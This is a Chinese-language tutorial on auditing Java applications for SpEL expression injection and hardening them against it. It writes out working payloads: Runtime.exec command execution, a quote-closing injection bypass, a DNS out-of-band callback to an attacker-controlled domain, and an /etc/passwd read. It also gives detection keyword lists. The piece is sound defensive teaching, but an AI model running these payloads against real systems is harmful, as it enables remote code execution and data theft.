1. 项目概述:当表达式成为攻击者的利刃
在Java应用安全的世界里,代码审计就像一场没有硝烟的攻防战。我们作为防御方,每天要面对无数潜在的“暗箭”,而其中一种极具迷惑性和破坏性的武器,就是Spring Expression Language,简称SpEL。你可能在Spring框架的@Value注解、Thymeleaf模板或者Spring Security的权限控制里都见过它的身影。它强大、灵活,能让开发者用简洁的表达式完成复杂的逻辑。但正是这份强大,一旦被恶意利用,就会瞬间从开发利器变成攻击者手中的“利刃”,直接刺穿应用的核心。
我处理过不少安全事件,其中由SpEL表达式注入引发的漏洞往往让人印象深刻。攻击者不需要知道你的数据库结构,也不需要绕过复杂的身份验证,他们只需要找到一个能控制表达式内容的地方,就能让服务器执行任意代码,轻则信息泄露,重则服务器被完全控制。这种漏洞的隐蔽性在于,它看起来可能只是一个普通的配置项或者一个模板渲染的参数,审计时稍不留神就会滑过去。今天,我们就来彻底拆解这把“利刃”,不仅要知道它如何伤人,更要学会如何锻造我们的“盾牌”,在代码审计中精准识别并有效防御SpEL表达式漏洞。无论你是刚入门的安全工程师,还是正在备战Java面试的开发者,理解这个主题都至关重要,它直接关系到你手中系统的“内功”是否扎实。
2. SpEL表达式漏洞的核心原理与攻击面解析
要防御,必须先透彻理解攻击是如何发生的。SpEL漏洞的本质是“将不可信的数据当作代码执行”,这听起来和SQL注入、OS命令注入如出一辙,都属于“注入”类漏洞的大家族。但SpEL的独特之处在于它的执行上下文和强大的功能集。
2.1 SpEL的“力量之源”与危险边界
Spring Expression Language并非一个独立的脚本引擎,而是深度集成在Spring容器中的表达式解析器。它的设计目标是提供一个强大的、用于在运行时查询和操作对象图的统一表达式语言。其核心能力包括:
- 属性访问与方法调用:如
user.name、user.activate()。 - 类型操作:使用
T()操作符调用静态方法和常量,如T(java.lang.Runtime)。 - 集合操作与投影:支持对集合进行筛选、映射等操作。
- 运算符与正则表达式:支持算术、逻辑、关系运算及正则匹配。
- 变量定义与引用:可以通过
#variableName引用上下文中的变量。
安全问题的导火索,就在于T()操作符和new操作符。在默认的、未经过安全加固的StandardEvaluationContext上下文中,SpEL允许表达式调用任何类的静态方法或构造器。这就为攻击者打开了一扇通往java.lang.Runtime或java.lang.ProcessBuilder的大门。
注意:很多开发者会混淆
StandardEvaluationContext和SimpleEvaluationContext。前者功能完整但危险,后者是Spring后期为了安全而引入的、功能受限的上下文,默认不支持类型操作(T())和bean引用,是防御的第一道关口。在审计时,看到代码中使用StandardEvaluationContext解析用户输入,就需要立即拉起警报。
2.2 典型攻击向量与漏洞入口点
在代码审计中,我们需要像攻击者一样思考,寻找那些用户输入可能“流”入SpEL解析器的地方。以下是几个高危的入口点:
Spring MVC 参数绑定与注解:
@Value注解:这是最经典的案例。如果应用从外部配置(如环境变量、配置文件)动态获取@Value的值,而这个外部配置源(如某个HTTP请求头)可被攻击者控制,就可能引发问题。例如,@Value(“${user.input}”),如果user.input来自请求参数且内容为#{T(java.lang.Runtime).getRuntime().exec(‘calc’)},在解析时就会触发命令执行。- 请求参数映射到SpEL表达式:某些自定义的解析器或框架可能直接将请求参数值传递给
SpelExpressionParser进行解析。
Spring Security 表达式:
- 在配置URL访问权限时,如
hasAuthority(‘ADMIN’)是安全的,但如果权限表达式的一部分来自用户可控的数据(例如,从数据库读取的角色权限规则),且使用了StandardEvaluationContext,则存在风险。
- 在配置URL访问权限时,如
模板引擎的表达式解析:
- 虽然Thymeleaf本身对表达式有沙箱限制,但如果在集成或自定义扩展时处理不当,用户输入仍可能进入SpEL解析流程。审计时需要关注模板中动态渲染的部分,尤其是那些使用
th:text=”${…}”且内容部分可控的场景。
- 虽然Thymeleaf本身对表达式有沙箱限制,但如果在集成或自定义扩展时处理不当,用户输入仍可能进入SpEL解析流程。审计时需要关注模板中动态渲染的部分,尤其是那些使用
自定义的表达式解析服务:
- 这是最隐蔽也最危险的一类。业务中可能需要实现动态规则引擎、计算器等功能,开发者自己编写了调用
SpelExpressionParser.parseExpression()的代码。如果解析的表达式字符串直接或间接拼接了用户输入,漏洞就产生了。
- 这是最隐蔽也最危险的一类。业务中可能需要实现动态规则引擎、计算器等功能,开发者自己编写了调用
// 一个危险的自定义解析器示例 public Object evaluateUserExpression(String userInput) { ExpressionParser parser = new SpelExpressionParser(); // 致命错误:使用StandardEvaluationContext且直接解析用户输入 StandardEvaluationContext context = new StandardEvaluationContext(); Expression exp = parser.parseExpression(userInput); // userInput可能为恶意表达式 return exp.getValue(context); }实操心得:在审计时,全局搜索SpelExpressionParser、StandardEvaluationContext、parseExpression、@Value等关键词是第一步。但更重要的是进行数据流追踪,确认传入这些解析器的字符串,其源头是否最终可被外部用户控制。一个可控的源头,加上一个危险的解析上下文,就构成了一个完整的漏洞链。
3. 漏洞挖掘:手工与工具结合的审计实战
知道了原理和入口,接下来就是如何在浩如烟海的代码中找到它们。我习惯采用“自上而下”和“自下而上”相结合的策略。
3.1 静态代码审计:定位可疑代码模式
静态分析是代码审计的基石。我们可以借助IDE的搜索功能和专门的静态应用安全测试(SAST)工具。
关键词搜索与模式识别:
- 高风险类/方法:搜索
org.springframework.expression.spel.standard.SpelExpressionParser、org.springframework.expression.spel.support.StandardEvaluationContext。 - 解析方法调用:搜索
.parseExpression(,查看其参数来源。 - 注解扫描:搜索
@Value,特别是其值使用了${…}或#{…}格式的。需要审查这些占位符对应的属性源(如Environment)的加载逻辑,看是否有从请求参数、头、Cookie等不可信源加载的配置。
- 高风险类/方法:搜索
数据流分析(手动): 这是最考验功力的部分。当你找到一个
parseExpression(userInput)调用时,需要逆向追踪userInput这个变量的来源。- 它可能来自
HttpServletRequest.getParameter()。 - 可能来自数据库查询结果(而数据库的数据最初又可能来自用户输入)。
- 可能来自反序列化后的对象属性。
- 可能经过多层服务传递和字符串拼接。你需要像侦探一样,沿着方法调用的链条向上回溯,绘制出数据从“污染源”(Source)到“危险函数”(Sink)的完整路径。
- 它可能来自
使用SAST工具辅助: 工具如SonarQube、Fortify SCA、Checkmarx都有内置的规则来检测潜在的SpEL注入。它们能自动化地进行一部分数据流分析,快速定位大量可疑点。但切记,工具报告的是“潜在”漏洞,存在误报(将安全代码报为漏洞)和漏报(未能发现真正的漏洞)。审计员的职责就是对这些结果进行人工验证和深度分析。
3.2 动态测试与漏洞验证
静态分析找到疑点后,必须通过动态测试来验证漏洞是否真实存在、是否可利用。
构造验证Payload: 对于SpEL注入,一个安全的验证Payload至关重要。我们不应该直接使用
Runtime.exec(“calc”)或rm -rf这样的危险命令。- 延迟测试:利用
T(java.lang.Thread).sleep(5000)。如果服务器响应有明显延迟,说明表达式被执行了。 - DNS外带测试:利用
T(java.net.InetAddress).getByName(‘attacker-controlled-domain.com’)。在你的DNS日志中查看是否有解析请求,这是证明漏洞存在且可触发网络交互的铁证。 - 文件读取测试(谨慎):在授权测试范围内,尝试
new java.io.FileInputStream(‘/etc/passwd’).read()的变体,但需注意可能触发内部异常,需结合响应差异判断。
// 示例:一个用于验证的、相对无害的Payload String testPayload = “#{T(java.lang.Thread).sleep(3000)}”; // 睡眠3秒 // 或 String dnsPayload = “#{T(java.net.InetAddress).getByName(‘subdomain.yourcollaborator.net’)}”;- 延迟测试:利用
测试点注入: 根据静态分析找到的入口,将Payload注入到相应的参数中。这可能通过:
- HTTP请求参数:
GET /api/calc?expression=恶意Payload - HTTP请求头:
X-Config-Value: 恶意Payload - POST Body(JSON/XML/表单)。
- Cookie值。 使用Burp Suite、Postman等工具发送这些精心构造的请求,并观察服务器的响应时间、响应内容、以及你的DNS/HTTP监听服务(如Burp Collaborator)是否有回调。
- HTTP请求参数:
上下文绕过技巧探索: 有时,输入点可能被包裹在特定上下文中,如
#{‘userInput’}。你需要尝试闭合原有的表达式。例如,如果代码拼接方式为”#{‘” + userInput + “‘}”,你可以输入’} + T(java.lang.Runtime).getRuntime().exec(‘calc’) + #{‘,使得最终解析的表达式变为#{’’} + T(java.lang.Runtime).getRuntime().exec(‘calc’) + #{’’},从而执行恶意代码。这需要对代码的拼接逻辑有清晰的猜测。
常见问题实录:在一次审计中,我发现一个@Value(“${report.template}”)注解,report.template来自一个配置中心。静态分析认为配置中心是可信的。但动态测试时,我发现该配置中心的API接口存在未授权访问漏洞,可以任意修改配置值。这就将SpEL漏洞的入口从应用本身转移到了配置管理系统,攻击面被扩大了。这提醒我们,审计时不能只看代码本身,还要考虑与之交互的上下游系统是否安全。
4. 纵深防御:从编码到配置的全面加固
找到并修复漏洞是目标,但构建一个不易被攻破的体系才是终极追求。针对SpEL表达式漏洞,我们需要建立多层次的防御。
4.1 编码层防御:使用安全的API与上下文
这是最根本、最有效的防御措施。
强制使用
SimpleEvaluationContext: 对于所有需要解析不可信或外部输入的场景,必须使用SimpleEvaluationContext。它通过构造器指定可访问的属性范围,从根本上禁用了危险的T()和new操作符,以及bean引用。// 安全的写法 ExpressionParser parser = new SpelExpressionParser(); // 创建SimpleEvaluationContext,并限制只能访问‘rootObject’的属性 EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding() .withRootObject(rootObject) .build(); // 尝试解析恶意表达式将抛出异常:EL1008E: Property or field ‘java’ cannot be found on object of type ‘com.example.MyRootObject’ Object result = parser.parseExpression(userInput).getValue(context);输入校验与白名单: 如果业务必须使用
StandardEvaluationContext(例如,需要调用静态方法实现特定功能),那么必须对输入进行严格的校验。- 白名单校验:定义允许的表达式模式。例如,如果只允许进行简单的数学计算,可以使用正则表达式严格匹配,如
^[0-9+\\-*/().\\s]+$。 - 语法树分析:在解析前,先使用SpEL的
SpelExpression对象获取表达式的抽象语法树(AST),遍历树节点,检查是否包含TypeReference(对应T())、ConstructorReference(对应new)等危险节点,一旦发现立即拒绝。
- 白名单校验:定义允许的表达式模式。例如,如果只允许进行简单的数学计算,可以使用正则表达式严格匹配,如
避免字符串拼接: 绝对不要用字符串拼接的方式构建表达式。应采用参数化构造,利用SpEL本身的变量绑定功能。
// 危险:拼接 String dangerousExpr = “user.” + userControlledProperty + “ == ‘admin'”; // 安全:参数化 String safeExpr = “user[?(@.” + placeholder + “ == ‘admin’)]”; // 仍需要校验placeholder // 或更优:使用变量绑定 Expression expr = parser.parseExpression(“property == @expectedValue”); context.setVariable(“property”, userControlledPropertyName); // 变量值,非表达式部分 context.setVariable(“expectedValue”, “admin”);
4.2 架构与配置层防御
沙箱环境隔离: 对于必须执行动态表达式的核心业务(如规则引擎),可以考虑在独立的、受限制的沙箱环境中运行。例如,使用Java安全管理器(SecurityManager)配置严格的策略文件,或将其部署到权限极低的独立容器/进程中,即使被突破,影响范围也有限。
依赖库与版本管理: 确保使用的Spring框架及相关库(如Spring Security)是最新的稳定版本。历史版本中的SpEL相关漏洞(如CVE-2022-22965 Spring4Shell的部分利用链涉及SpEL)已被修复。定期更新依赖是成本最低的防御手段之一。
安全配置审查:
- 审查Spring Boot的
application.properties/yml,确保没有将敏感或不可信的配置源(如某个URL)以高优先级加载到Environment中。 - 在Spring Security配置中,检查所有使用
@PreAuthorize、@PostAuthorize或XML配置中的<intercept-url>表达式,确保其硬编码或来自绝对可信的来源。
- 审查Spring Boot的
4.3 运行时监控与应急响应
防御不可能100%完美,因此需要监控作为最后一道防线。
日志监控: 在SpEL解析器周围添加详细的WARN或ERROR级别日志,记录解析失败的表达式及其来源。频繁出现畸形或包含可疑关键词(如
Runtime、ProcessBuilder、getClassLoader)的表达式解析失败日志,可能是攻击者正在探测的信号。RASP(运行时应用自我保护): 部署RASP探针。RASP可以在应用内部监控关键函数(如
SpelExpressionParser.parseExpression、MethodInvoker.invoke)的调用栈和参数。当检测到试图通过SpEL调用危险方法(如Runtime.exec)的行为时,可以实时阻断请求并告警。这是一种非常有效的动态防御技术。WAF规则: 在Web应用防火墙(WAF)上部署针对SpEL注入特征的规则,例如检测请求参数中是否包含
T(、#{、new等典型模式。但要注意,这只能防御“懒”的攻击者,对于编码绕过或非常规利用方式可能失效,不能替代代码层的安全修复。
个人体会:防御SpEL漏洞,技术手段固然重要,但更重要的是将安全思维融入开发流程。在代码评审(Code Review)环节,将“SpEL解析用户输入”作为必须检查的高危项;在安全培训中,向开发团队普及SimpleEvaluationContext和StandardEvaluationContext的区别。我曾推动团队将“禁止使用StandardEvaluationContext解析任何外部输入”写进了编码规范,并在CI/CD流水线中通过静态扫描工具卡点,从源头大幅减少了此类漏洞的引入。真正的安全,是让正确的做法成为习惯。